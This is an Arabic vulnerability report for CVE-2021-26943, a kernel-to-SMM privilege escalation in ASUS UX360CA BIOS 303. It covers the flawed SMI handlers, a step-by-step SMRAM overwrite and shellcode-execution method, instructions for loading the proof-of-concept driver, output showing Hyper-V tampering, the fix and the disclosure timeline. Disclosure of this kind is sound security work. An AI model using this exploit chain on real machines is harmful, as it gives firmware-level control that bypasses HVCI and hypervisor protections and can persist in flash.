SmmExploit

# SmmExploit

هذا تقرير واستغلال لـ [CVE-2021-26943](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-26943)، ثغرة تصعيد الامتيازات المحلية من kernel إلى SMM في BIOS لجهاز ASUS UX360CA الإصدار 303. تم إصلاح المشكلة في [الإصدار 304](https://www.asus.com/supportonly/UX360CA/HelpDesk_BIOS/).

# وصف المشكلة

## ملخص

يحتوي BIOS لجهاز UX360CA الإصدار 303 على 3 وحدات قابلة للاستغلال تسمح لمهاجم يملك امتياز ring0 باستبدال ذاكرة فيزيائية شبه عشوائية بما في ذلك SMRAM وتنفيذ تعليمات برمجية عشوائية في SMM.

يمكن تحديد هذه الوحدات كما يلي:

| الاسم    | GUID                                 | SHA256                                                           |
|---------|--------------------------------------|------------------------------------------------------------------|
| UsbRt   | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
| SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
| NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |

هذه الوحدات من AMI (مورّد BIOS) وقد تكون موجودة في BIOS لمصنّعين آخرين (OEM).

## الثغرات

الوحدات القابلة للاستغلال وواجهات SMI المقابلة لها هي: UsbRt (0x31) وSdioSmm (0x40) وNvmeSmm (0x42). جميع معالجات SMI هذه تقرأ عنوان الذاكرة الفعلية 0x40E للحصول على عنوان للعمل عليه وتكتب بايتًا واحدًا إلى العنوان في حالة حدوث خطأ، حتى لو كان العنوان داخل SMRAM.

على سبيل المثال، يبدو معالج SMI الخاص بـ SdioSmm كما يلي:
```cpp
EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
  EFI_HANDLE  DispatchHandle,
  CONST VOID  *Context,
  VOID        *CommBuffer,
  UINTN       *CommBufferSize
  )
{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
    || userControlled->Offset0_FunctionCode >= 4 )
  {
    userControlled->Offset2 = 7;
  }
  else
  {
    // ...
  }
  return EFI_SUCCESS;
}
```

يبدو أن هذه المشكلة مطابقة لـ INTEL-SA-00057، التي تم توثيقها بشكل ممتاز في [Aptiocalypsis](https://github.com/Cr4sh/Aptiocalypsis). ومع ذلك، فإن إصدار BIOS 303 لـ UX360CA لا يتضمن إصلاحات لها.

## الاستغلال

هذا يسمح لمهاجم لديه حق الوصول للكتابة إلى الذاكرة الفعلية وتعليمة OUT (أي امتيازات ring0) باستبدال محتويات SMRAM عبر الخطوات التالية:
1. تأكد من أن العنوان الفعلي 0x40e هو صفر (وهو الأرجح بالفعل)
2. اكتب عنوانًا من SMRAM، مثل 0x88400000، في العنوان الفعلي 0x104
3. أطلق SMI 0x40
4. يتم تحديث 0x88400000+2 بالقيمة 0x7.

يمكن استخدام هذا لتحقيق تنفيذ تعليمات برمجية عشوائية في SMM كما يلي:
1. ابحث عن عنوان جدول خدمات إدارة النظام (SMST) في SMRAM، عبر الخطوات التالية:
    1. احصل على نطاق العناوين الفعلية لشفرة UEFI زمن التشغيل (runtime) من محتويات قيمة `.Raw` في `HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader Reserved`
    2. ابحث عن عنوان SMM_CORE_PRIVATE_DATA بفحص التوقيع 'smmc' داخل نطاق العناوين.
    3. يحتوي SMM_CORE_PRIVATE_DATA على مؤشر إلى SMST عند الإزاحة 30h
2. استبدل المؤشر إلى دالة SmmLocateProtocol عند الإزاحة d0h من SMST باستخدام بدائية الكتابة أعلاه. يتم تحديث القيمة إلى 0x07070707.
3. اكتب شيل كود (shellcode) في الذاكرة الفعلية عند 0x07070707
4. أطلق SMI آخر يستدعي Smst->SmmLocateProtocol، مثل SMI 0xdf. سيتم تنفيذ الشيل كود عند 0x07070707 في SMM.

تنفيذ التعليمات البرمجية العشوائية في SMM قد يسمح للمهاجم بتجاوز الإجراءات الأمنية التي يفرضها كل من kernel وhypervisor مثل HVCI، كما هو موضح في [تقرير آخر عن ثغرات SMM](https://dannyodler.medium.com/attacking-the-golden-ring-on-amd-mini-pc-b7bfb217b437)، وتحقيق الاستمرارية عبر تحديث محتويات فلاش SPI (BIOS).

## إثبات المفهوم (PoC)

يُظهر مشروع العرض التوضيحي المرفق استغلالًا ناجحًا، ويُفرغ محتويات سجلات MSR التي لا يمكن الوصول إليها إلا في SMM والعنوان الفعلي لمؤشر EPTP. كما يعدّل كود معالجة CPUID عند خروج VM (VM-exit) في hypervisor الخاص بـ Hyper-V لإرجاع سلسلة تعريف ناقل (vendor string) معدلة.

تم اختبار إثبات المفهوم على Windows build 18362.1256، مع تمكين HVCI وبدون تمكينه.

يمكن مشاهدة تسجيل للاستغلال الناجح على [يوتيوب](https://youtu.be/jZWzBF8LKzM).
![Demo.png](https://assets.kitploit.com/production/public/readmes/33237/b42712454208889d13eb2e3a13b49da5d3f6b77544a2a5ad3d8f509e5b593d1f.png)

### تعليمات الاختبار

1. افتح demo.sln في Visual Studio 2019
2. أنشئ الحل (Solution) لإصدار Debug أو Release
3. انسخ ملف demo.sys المُجمّع إلى النظام الهدف (مثل C:\users\user\desktop\demo.sys)

على النظام الهدف:
1. عطّل Secure Boot من إعدادات BIOS، ثم أعد التشغيل
2. فعّل وضع توقيع الاختبار (test signing)، ثم أعد التشغيل
    ```
    > bcdedit /set testsigning on
    ```
3. أنشئ الخدمة لتحميل demo.sys
    ```
    > sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
    ```
4. شغّل [DebugView](https://docs.microsoft.com/en-us/sysinternals/downloads/debugview) وفعّل "Capture Kernel" من قائمة "Capture".
5. شغّل العرض التوضيحي
    ```
    > sc start demo
    ```
6. إذا نجح الأمر، سيعرض DebugView قيم سجلات MSR المتعلقة بـ SMM.
    ```
    [+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
    [-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
    [+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
    [+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
    [+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
    [+] ExploitSmm: Placed SMM shell code
    [+] ExploitSmm: Triggered SMM exploit
    [+] DumpSmmExploitOuput: IA32_SMBASE             = 0x887cd000
    [+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
    [+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP         = 0xc00000000000000
    [+] DumpSmmExploitOuput: EPT pointer             = 0x10a72001e
    [+] DumpSmmExploitOuput: Patched Hv address      = 0x1004382f0
    [+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
    DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
    ```
7. إذا كان Hyper-V قيد التشغيل ونجح تعديل الكود، فسيعيد CPUID 0x4000000 سلسلة تعريف الناقل المعدلة `Hv Tampered!`.
    ```
    > CheckHvVendor.exe
    Executing CPUID(0x40000000) on CPU 0
    Result: Hv Tampered!
    Executing CPUID(0x40000000) on CPU 1
    Result: Hv Tampered!
    Executing CPUID(0x40000000) on CPU 2
    Result: Hv Tampered!
    Executing CPUID(0x40000000) on CPU 3
    Result: Hv Tampered!
    ```

# الحل

الإصلاح هو تجنب استخدام المحتويات التي يتحكم فيها المستخدم تمامًا عندما تشير إلى عنوان داخل SMRAM، كما هو موضح أدناه.

```cpp
{
  // ...
  struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
  if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
  {
    if (userControlled->Offset0_FunctionCode < 7 )
    {
      // ...
    }
    else
    {
      userControlled->Offset2 = 7;
    }
  }
  return EFI_SUCCESS;
}
```

## اعتبارات

### نقص الحماية لـ hypervisor

يتبع الإصلاح أفضل الممارسات الصناعية الحالية تمامًا ويمنع هجوم النائب المشوش (confused deputy attack) الذي يؤدي إلى تلف SMRAM.

لاحظ أنه لا يأخذ في الاعتبار مناطق ذاكرة hypervisor. فالمهاجم الذي يعرف عنوان الذاكرة الفعلية الذي تم تحميل hypervisor فيه أو يستخدمه لا يزال بإمكانه طلب SMI لاستبدال كود أو بيانات hypervisor وتحقيق تلفه.

هذه مشكلة شائعة وقديمة وحتى على مستوى التصميم.

### نقص الدفاع المتعمق

تم حل المشكلات المُبلغ عنها، ولكن كانت هناك بعض المشكلات من حيث تطبيق استراتيجية الدفاع المتعمق.

على سبيل المثال، جدول صفحات SMM يستخدم ترابطًا هويًا (identity mapping) بصلاحيات قراءة وكتابة وتنفيذ كاملة، وكانت ميزة `SMM_Code_Chk_En` غير متاحة. هذا جعل الاستغلال تافهًا. كما لاحظت أن مخزن الاتصال الخاص بـ SMM لا يتم التحقق منه باستخدام `SmmIsBufferOutsideSmmValid()` [كما هو موجود في EDK2](https://github.com/tianocore/edk2/blob/stable/202011/MdeModulePkg/Core/PiSmmCore/PiSmmCore.c#L701)، على الرغم من أنني لم أعثر على SMI قابل للاستغلال.

أعتقد أن هذه مشكلات شائعة لدى جميع المصنّعين (OEMs) وفي العديد من إصدارات BIOS. وأشير إلى أنه إذا كنت تستخدم طرازات قديمة من أي مصنّع، فمن غير المرجح أن يكون BIOS لديك آمنًا بالقدر الذي تتمناه حتى مع أحدث إصدارات BIOS.

### التحسينات

هذه المشكلات لن تختفي في أي وقت قريب، لكنني متحمس لرؤية أن الصناعة تعمل على حل معماري عبر تقليل امتيازات SMM. إليك بعض الأعمال والمقالات التي يمكنك الاطلاع عليها:
- Platform Runtime Mechanism (PRM)
    - [عرض تقديمي (Open-Source Firmware Conference 2020)](https://cfp.osfc.io/osfc2020/talk/MCJASB/)
    - [المواصفة (uefi.org)](https://uefi.org/sites/default/files/resources/Platform%20Runtime%20Mechanism%20-%20with%20legal%20notice.pdf)
    - [التنفيذ (edk2-staging)](https://github.com/tianocore/edk2-staging/tree/PlatformRuntimeMechanism)
- [غوص عميق في System Management Mode: كيف تقوّي عزلة SMM المنصة](
https://www.microsoft.com/security/blog/2020/11/12/system-management-mode-deep-dive-how-smm-isolation-hardens-the-platform/)
- [متطلبات النظام لـ System Guard](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-system-guard/system-guard-secure-launch-and-smm-protection#system-requirements-for-system-guard)

## الجدول الزمني

فيما يلي بعض النقاط البارزة.
- 2020-12-31 - أبلغت عن الثغرة
- 2021-01-05 - أقرّت ASUS بالتقرير
- 2021-01-18 - أرسلت لي ASUS نسخة BIOS المُصلحة للاختبار
- 2021-01-20 - أكدت الإصلاح ورددت عليهم
- 2021-01-25 - أقرّت ASUS بردّي
- 2021-03-21 - نشرت ASUS الإصلاح، [الإصدار 304](https://www.asus.com/supportonly/UX360CA/HelpDesk_BIOS/)
- 2021-03-29 - أصدرت ASUS [إشعارًا أمنيًا](https://www.asus.com/content/ASUS-Product-Security-Advisory/) لـ CVE-2021-26943

أخيرًا، شكر كبير لفرق ASUS على إبقاء قنوات التواصل وثيقة وشفافة❤ لم تكن العملية الكلية سريعة، لكنها كانت خالية من الإحباط إلى حد كبير.